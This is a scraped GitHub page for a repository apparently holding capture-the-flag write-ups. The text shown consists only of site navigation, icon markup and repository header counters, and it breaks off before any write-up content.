<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="272216113" data-scoped-search-url="/SemahBA/ctf_writeups/search" data-owner-scoped-search-url="/users/SemahBA/search" data-unscoped-search-url="/search" data-turbo="false" action="/SemahBA/ctf_writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="RJ7LyPH14HJi4gRpvrUlr2oMZEsLgQGfPtsZfRqJ+tYpMsf9xrC/FyE7L47LS5oqDG6Dv2GQueK5Jzu761PfQQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> SemahBA </span> <span>/</span> ctf_writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>2</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>4</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment 